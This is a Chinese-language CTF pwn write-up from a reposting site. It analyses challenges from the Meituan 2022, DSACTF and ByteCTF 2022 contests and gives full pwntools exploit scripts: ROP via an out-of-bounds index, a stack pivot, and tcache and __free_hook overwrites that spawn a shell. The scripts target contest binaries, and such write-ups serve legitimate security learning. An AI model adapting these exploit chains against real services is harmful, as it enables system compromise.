复现随记~

news2024/9/25 3:24:33

note(美团2022)

比较简单的越界漏洞,堆本身并没有什么漏洞,而且保护并没全开,所以逆向思维。必然是ROP类而非指针类,故我们着重注意unsigned int等无符号数前后是否不一致

int __fastcall edit(__int64 a1)
{
  int idx; // [rsp+14h] [rbp-Ch]
  void *buf; // [rsp+18h] [rbp-8h]

  printf("Index: ");
  idx = readInt();
  if ( idx > 16 || !*(_QWORD *)(16LL * idx + a1) )// 判断点,存在越界漏洞
    return puts("Not allowed");
  buf = *(void **)(16LL * idx + a1);
  printf("Content: ");
  return read(0, buf, *(int *)(16LL * idx + a1 + 8));
}

这里其实存在两个越界,一个是输入负数存在二级指针,进而ROP获取权限;第二个越界则为输入16则获取到一个悬空指针(但是没有什么用,测试U20).

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './note'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x00000000004017b3
start_addr  = 0x0000000000401150
retn        = 0x000000000040157F

def edit(idx,payload):
    r.sendlineafter("5. leave\n",'3')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Content: ",payload)

pwndbg = lambda t : gdb.attach(t) and pause()

payload = flat({
    0x8: pop_rdi_ret ,
    0x10: puts_got ,
    0x18: puts_plt ,
    0x20: start_addr
})
sleep(0.3)
edit(-6,payload)

libc_base  = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x84420
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_ret = libc_base+0x0000000000142c92
system      = libc_base+libc.sym['system']
binsh       = libc_base+0x00000000001b45bd

payload = flat([b'bbbbbbbb',pop_rdi_ret,binsh,pop_rsi_ret,0,pop_rdx_ret,0,retn,system])
success(hex(libc_base))
#pwndbg(r)
edit(-6,payload)

r.interactive()

smtp(美团2022)(未完

32位程序,逻辑比较简单

while ( 1 )
  {
    v12 = epoll_wait(epfd, events, 1, -1);
    for ( i = 0; i < v12; ++i )
    {
      if ( fd == events[i].data.fd )
      {
        addr_len = 128;
        client_sock = accept(fd, &addr, &addr_len);// 接受客户端socket请求
        v1 = (const void *)get_in_addr(&addr);
        inet_ntop(addr.sa_family, v1, addr_ip, 0x2Eu);// 获取客户端ip地址
        printf("listener: got connection from %s\n", addr_ip);// 打印客户端ip地址
        arg = malloc(0x14u);
        *(_DWORD *)arg = client_sock;           // 作为参数传入线程函数之中
        *((_DWORD *)arg + 1) = 0;
        pthread_create(&newthread, 0, session_worker, arg);// 创建线程进行交互
        puts("listener: initiated a new session worker");
      }
    }
  }

而漏洞必然是存在于session_worker函数之中,因为该函数是于socket交互的函数,如果存在溢出等异常大概率出现于此函数之中;

DSACTF2022九月月赛

这次月赛比较简单,没有什么难题;
像appetizer(orw栈easy
这类题目以后就不再记录了,因为太过于简单了;

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 stackOver; // [rsp+0h] [rbp+0h] BYREF

  init();
  write(1, "Welcome to CBCTF!\n", 0x12uLL);
  func();
  check();
  write(1, "You are our VIP!So we will give you a VIP card!\n", 0x30uLL);
  printf("Here you are:%p\n", &bss_jmp);
  write(1, "And pls write your own information on it\n", 0x29uLL);
  read(0, &bss_jmp, 0x108uLL);                  // ROP
  write(1, "Tell me your wish:\n", 0x13uLL);
  read(0, &stackOver, 0x10uLL);                 // 栈迁移即可
  return 0;
}

这道题目比较简单,orw即可,这里脚本之中没有写orw的payload,需自行添加orw即可攻击(地址已经泄露,但不想再写个orw了)

import code
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './appetizer'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

pwngdb = lambda t : gdb.attach(t) and pause()


r.sendafter("identity\n",b'\x01\x01'+p64(0x7373656C656D614E))
r.recvuntil("0x")
jmp_addr    = int(r.recv(12),16)
code_base   = jmp_addr-0x4050
main_addr  = code_base+0x00000000000013A5
retn        = code_base+0x146F
leave_ret   = code_base+0x13A3
pop_rdi_ret = code_base+0x00000000000014d3
read_got    = code_base+elf.got['read']
write_got   = code_base+elf.got['write']
puts_got    = code_base+elf.got['puts']

one1        = code_base+0x14CA
one2        = code_base+0x14B0

pwngdb(r)
payload = flat([one1,0,1,1,puts_got,0x8,write_got,one2,0,
    0,1,0,jmp_addr,0x500,read_got,one2
])
r.sendafter("on it\n",payload)
r.sendafter("Tell me your wish:\n",p64(jmp_addr-8)+p64(leave_ret))
libc_base = u64(r.recv(8))-0x84420

orw = b''
r.send(orw)

success(hex(code_base))
success(hex(libc_base))


r.interactive()

像其它的四道题目都也比较简单,cyberprinter格式化字符串漏洞(虽然过滤了p、P、x、X,但不妨碍我们利用);bar是个UAF直接泄露了地址;cgrasstring是道C++题目,但底层依然是我们的malloc;eznote是个整数溢出,但是这个整数安全比较隐蔽,不容易发现;

整体来说,cgrasstring比较好,毕竟是C++;

这里本地测试og不顶用(尽管使用了relloc偏移),故采用了劫持free_hook为system;

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './cgrasstring'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

def add(size,payload=b'/bin/sh\x00'):
    r.sendlineafter("Your choice:",'1')
    r.sendlineafter("size:",str(size))
    r.sendafter("content:",payload)

def edit(idx,size,payload=b'\x00'):
    r.sendlineafter("Your choice:",'2')
    r.sendlineafter("idx",str(idx))
    r.sendlineafter("size",str(size))
    r.sendafter("content\n",payload)

def show(idx):
    r.sendlineafter("Your choice:",'3')
    r.sendlineafter("idx",str(idx))
pwndbg = lambda t:gdb.attach(t) and pause()

''' 神奇的BUG
for i in range(9):
    add(0x80)
for i in range(7):
    edit(i,0x90)'''

'''add(0x20,b'a')
add(0x20,p64(0)+p64(0x31))
add(0x20,b'c')
edit(0,0x30,b'\xe0')
add(0x20,b'd'*0x18+p64(0x31))'''
one = [0x4f2a5,0x4f302,0x10a2fc]
one = [0x4f2c5,0x4f322,0x10a38c]
for i in range(9):
    add(0x80)
edit(0,0x90,b'\x70')
edit(1,0x90,b'\x00')
edit(2,0x90,b'\x90')
edit(3,0x90,b'\x20')
edit(4,0x90,b'\xb0')
edit(5,0x90,b'\x40')
edit(6,0x90,b'\xa0')

show(6)
hook = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x20
libc_base = hook-libc.sym['__malloc_hook']+0x10
realloc = libc_base+libc.symbols['__libc_realloc']#+0x98C50
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']

add(0x20,b'/bin/sh\x00')#9
edit(9,0x30,p64(free_hook))
#add(0x20,b'b'*8+p64(libc_base+one[0])+p64(realloc+2))
add(0x20,p64(system))
success(hex(libc_base))
success(hex(hook))
pwndbg(r)
#r.sendlineafter("Your choice:",'1')
#r.sendlineafter("size:",str(0x60))
r.sendlineafter("Your choice:",'2')
r.sendlineafter("idx",str(9))
r.sendlineafter("size",str(0xf0))

r.interactive()

mini_http2(byte2022签到)

需要一定的逆向能力以及高版本tcache攻击手法,整体比较简答,属于签到题目;
在这里插入图片描述
针对note函数进行分析,发现其中存在人为的hook,以及存在着堆溢出漏洞;
在这里插入图片描述
hook(__free_hook)函数:
在这里插入图片描述
存在堆溢出漏洞,但却存在着\x00截断;
在这里插入图片描述

如下攻击成功;
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './pwn'
r = process(binary)
#r = gdb.debug("./pwn",'set debug-file-directory /home/pwn/tools/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/.debug/')

CHALLENGE_ID = 'f9d6161a9655d4851029079493bb7fe8'
r = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)

elf = ELF(binary)
libc = elf.libc



def code1(size,choice):
    pay  = p8((size&0xff0000)>>16)+p8((size&0xff00)>>8)+p8(size&0xff)
    pay += p8(choice)+b'\x05\x00\x00\x00\x00'
    return pay
def code2(choice,size):
    pay  = p8(choice)+b'\x86\x44'
    pay += p8((size&0xff000000)>>24)+p8((size&0xff0000)>>16)+p8((size&0xff00)>>8)+p8(size&0xff)
    return pay

def admin_register(username,password):
	payload=b"/register?"+b"username="+bytes(username.encode())+b"&password="+bytes(password.encode())+b"&"
	temp2=code2(0x82,len(payload))+payload
	temp1=code1(len(temp2),1)
	#code=temp1+temp2
	r.send(temp1)
	r.send(temp2)

def admin_login(username,password):
	payload=b"/login?"+b"username="+bytes(username.encode())+b"&password="+bytes(password.encode())+b"&"
	temp2=code2(0x82,len(payload))+payload
	temp1=code1(len(temp2),1)
	#code=temp1+temp2
	r.send(temp1)
	r.send(temp2)

def admin_exit():
	payload=b"/exit"
	temp2=code2(0x82,len(payload))+payload
	temp1=code1(len(temp2),1)
	#code=temp1+temp2
	r.send(temp1)
	r.send(temp2)


def add_workder(name,desc):
	payload=b"/api/add_worker"
	temp2=code2(0x83,len(payload))+payload
	temp1=code1(len(temp2),1)
	#code=temp1+temp2
	r.send(temp1)
	r.send(temp2)
	payload=b"{\"name\":\""+name+b"\",\"desc\":\""+desc+b"\"}"
	temp1=code1(len(payload),0)
	r.send(temp1)
	r.send(payload)

def del_workder(idx):
	payload=b"/api/del_worker"
	temp2=code2(0x83,len(payload))+payload
	temp1=code1(len(temp2),1)
	#code=temp1+temp2
	r.send(temp1)
	r.send(temp2)
	payload=b"{\"worker_idx\":"+bytes(str(idx).encode())+b"}"
	temp1=code1(len(payload),0)
	r.send(temp1)
	r.send(payload)

def show_workder(idx):
	payload=b"/api/show_worker"
	temp2=code2(0x83,len(payload))+payload
	temp1=code1(len(temp2),1)
	#code=temp1+temp2
	r.send(temp1)
	r.send(temp2)
	payload=b"{\"worker_idx\":"+bytes(str(idx).encode())+b"}"
	temp1=code1(len(payload),0)
	r.send(temp1)
	r.send(payload)

def edit_workder(idx,new_name,new_desc):
	payload=b"/api/edit_worker"
	temp2=code2(0x83,len(payload))+payload
	temp1=code1(len(temp2),1)
	#code=temp1+temp2
	r.send(temp1)
	r.send(temp2)
	payload=b"{\"worker_idx\":"+bytes(str(idx).encode())+b",\"name\":\""+new_name+b"\",\"desc\":\""+new_desc+b"\"}"
	temp1=code1(len(payload),0)
	r.send(temp1)
	r.send(payload)

sd = lambda buf:pause() and r.send(buf)
pwndbg = lambda t: gdb.attach(t) and pause()

#===============leak=================
admin_register("/bin/sh","123")
admin_login("/bin/sh","123")
r.recvuntil("gift': \"0x")
libc_base = int(r.recv(12),16)-0xC4200
free_hook = libc_base+libc.sym['__free_hook']
system    = libc_base+libc.sym['system']
add_workder(b"/bin/sh",b"/bin/sh") # 0
r.recvuntil("0x")
heap_base = int(r.recv(12),16)-0x4D0-0x140
high_heap_addr = (heap_base+0xda0)>>12


add_workder(b"a"*0xa0,b"b"*0xa0) # 1
add_workder(b"c"*0xa0,b"d"*0xa0) # 2
del_workder(2) # 2
edit_workder(1,b'e'*0xa8+b'\x70\x02',b'f'*0xe0+p64(high_heap_addr^(free_hook-0x98))[:6])
add_workder(b"lwd1",b"g"*0xa0) # 2
add_workder(b"lwd2",b"h"*0x98+p64(system)[:6]) # 3
#edit_workder(3,b"lwd2",p64(system)[:6])
#add_workder(b"lwd3",b'c'*0x60) # 2
success(hex(heap_base))
success(hex(libc_base))

pause()
admin_exit()

r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/340548.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[全栈工程师]从0到封神

全栈工程师 一个可以独立完成产品开发的人 目标规划全栈工程师参与社区的问题回答gitCode来自选择专业的问答为什么选择软件工程当初对软件工程这个专业的期待和想象是什么当初希望自己是如何投入这个专业的学习的曾经做过什么准备&#xff0c;或者立下过什么FLAG吗CSDN的我的介…

【idea】idea生产类注释和方法注释

网上有很多类似的文章&#xff0c;但是我在按照他们的文章设置后&#xff0c;出现了一些问题&#xff0c;因此我这边在解决了问题后&#xff0c;总结一篇文章&#xff0c;发出来给大家借鉴一下。在此先说明一下idea的版本&#xff0c;是2020.1.3 设置动态模板&#xff0c;File…

应用场景二:西门子PLC通过无线WIFI连接上位机

应用场景描述&#xff1a; 西门子PLC通过桥接器的无线WIFI连接上位机通讯&#xff0c;可以同时支持S7TCP、ModbusTCP和MQTT协议&#xff0c;上位机可以支持西门子编程软件&#xff08;Micro/WIN、STEP7、博途&#xff09;&#xff0c;组态软件&#xff08;Wincc、组态王、OPC软…

基于卷积神经网络的立体视频编码质量增强方法_余伟杰

基于卷积神经网络的立体视频编码质量增强方法_余伟杰提出的基于TSAN的合成视点质量增强方法全局信息提取流像素重组局部信息提取流多尺度空间注意力机制提出的基于RDEN的轻量级合成视点质量增强方法特征蒸馏注意力块轻量级多尺度空间注意力机制概念扭曲失真孔洞问题失真和伪影提…

【OpenCV图像处理系列一】OpenCV开发环境的安装与搭建(Ubuntu + Window都适用)

&#x1f517; 运行环境&#xff1a;OpenCV&#xff0c;Ubuntu&#xff0c;Windows &#x1f6a9; 撰写作者&#xff1a;左手の明天 &#x1f947; 精选专栏&#xff1a;《python》 &#x1f525; 推荐专栏&#xff1a;《算法研究》 #### 防伪水印——左手の明天 #### &#x…

Hadoop集群搭建详细步骤

目录 一、模板虚拟机环境准备 1.新建一台虚拟机hadoop100&#xff0c;并且配置好网络 3.安装 epel-release 4.其他工具 5. 配置普通用户具有root权限&#xff0c;方便后期加sudo执行root权限的命令 6.删除/opt/目录下的所有文件 7.在/opt/目录下创建文件夹&#xff0c;并…

RocketMQ底层源码解析——事务消息的实现

1. 简介 RocketMQ自身实现了事务消息&#xff0c;可以通过这个机制来实现一些对数据一致性有强需求的场景&#xff0c;保证上下游数据的一致性。 以电商交易场景为例&#xff0c;用户支付订单这一核心操作的同时会涉及到下游物流发货、积分变更、购物车状态清空等多个子系统…

基于javaee的电影碟片租赁管理系统的设计

技术&#xff1a;Java、JSP、框架等摘要&#xff1a;随着信息技术在管理中的广泛应用&#xff0c;管理信息系统(MIS)的实施在技术上逐渐成熟。为了适应时代的发展&#xff0c;降低管理成本&#xff0c;提高工作效率&#xff0c;企业需要加强对内部资源(人、钱、物)的有效管理&a…

Android测试包安装方式汇总

背景&#xff1a;作为一名测试&#xff0c;尤其是移动端测试&#xff0c;掌握app的安装方式是必备的基本技能&#xff0c;因此将Android测试包不同格式不同方式的安装方式进行一个总结分享​&#xff0c;仅供大家学习参考。 一、设备调试准备 1、设备打开开发者模式&#xff…

医学生考研考博太卷,一篇文章轻松助力上岸(一)

考研考博太卷了&#xff0c;卷不过&#xff0c;想没想过本科发一篇文章呢&#xff1f; 330分考研人淘汰390分考研人这个故事&#xff0c;大家应该都知道吧。 本专栏带你六个月内&#xff0c;搞定一篇文章&#xff0c;本科生发文章也很容易。 在卷考研的同时&#xff0c;再卷…

应用场景一:西门子PLC通过桥接器连接MQTT服务器

应用场景描述&#xff1a; 云平台、MES等数据采集、设备管理系统&#xff0c;需要通过MQTT的方式&#xff0c;上传和下发数据&#xff0c;MQTT服务器可以获取PLC的实时状态数据&#xff0c;也可以下发控制指令。桥接器提供4G、WIFI和有线三种连接方式。 网络拓扑&#xff1a;…

GRBL源码简单分析

结构体说明 GRBL里面的速度规划是带运动段前瞻的&#xff0c;所以有规划运动段数据和微小运动段的区分 这里的“规划运动段”对应的数据结构是plan_block_t&#xff0c;前瞻和加减速会使用到&#xff0c;也就是通过解析G代码后出来的直接直线数据或是圆弧插补出来的拟合直线数据…

【链式二叉树】数据结构链式二叉树的(万字详解)

前言&#xff1a; 在上一篇博客中&#xff0c;我们已经详解学习了堆的基本知识&#xff0c;今天带大家进入的是二叉树的另外一种存储方式----“链式二叉树”的学习&#xff0c;主要用到的就是“递归思想”&#xff01;&#xff01; 本文目录1.链式二叉树的实现1.1前置说明1.2结…

【蓝桥杯单片机】Keil5中怎么添加STC头文件;从烧录软件中添加显示添加成功后新建工程时依旧找不到

蓝桥杯单片机的芯片型号&#xff1a;IAP15F2K61S2 添加头文件&#xff1a;STC15F2K60S2.H 【1】如何通过烧录软件添加STC头文件&#xff1a; 从ATC-ISP的Keil仿真设置中添加&#xff08;同时自动下载仿真驱动&#xff09;仔细阅读添加说明 KEIL5添加STC芯片库_Initdev的博客-…

UVa The Morning after Halloween 万圣节后的早晨 双向BFS

题目链接&#xff1a;The Morning after Halloween 题目描述&#xff1a; 给定一个二维矩阵&#xff0c;图中有障碍物和字母&#xff0c;你需要把小写字母移动到对应的大写字母位置&#xff0c;不同的小写字母可以同时移动&#xff08;上下左右四个方向或者保持不动 &#xff0…

概论_第8章_假设检验的基本步骤__假设检验的类型

一. 假设检验的基本步骤如下&#xff1a;第1步 根据实际问题提出原假设 及备择假设 , 要求 与 有且仅有一个为真&#xff1b;第2步 选取适当的检验统计量&#xff0c; 并在原假设 成立的条件下确定该检验统计量的分布&#xff1b;第3步 按问题的具体要求&#xff0c; 选取适当…

【java】OpenFeign源码解析学习

本文主要针对 spring-cloud-starter-openfeign 的 2.2.3.RELEASE 版本进行源码的解析。 OpenFeign是什么&#xff1f; 作为Spring Cloud的子项目之一&#xff0c;Spring Cloud OpenFeign以将OpenFeign集成到Spring Boot应用中的方式&#xff0c;为微服务架构下服务之间的调用提…

SQL Serve 日志体系结构

SQL Server 事务日志记录着 undo 及 redo 日志&#xff0c;为了保证数据库在崩溃后恢复&#xff0c;或者在正常数据库操作期间进行回滚&#xff0c;保证数据库事务完整性和持久化。如果没有事务日志记录&#xff0c;数据库在事务上将不一致&#xff0c;并且在数据库崩溃后可能导…

ThinkPHP5酒店预订管理系统

有需要请私信或看评论链接哦 可远程调试 ThinkPHP5酒店预订管理系统一 介绍 此酒店预订管理系统基于ThinkPHP5框架开发&#xff0c;数据库mysql&#xff0c;采用了ueditor富文本编辑器。系统角色分为用户&#xff0c;员工和管理员。用户可注册登录并预订酒店和评论等&#xff…

SpringCloud AlibabaSeata1.5.2的安装

目录 一、分布式问题 二、Seate简介 &#xff08;一&#xff09;官网 &#xff08;二&#xff09;Seate分布式事务的过程 &#xff08;三&#xff09; 分布式事务处理过程 &#xff08;四&#xff09;下载地址 三、Seata-Server安装 &#xff08;一&#xff09;官网 …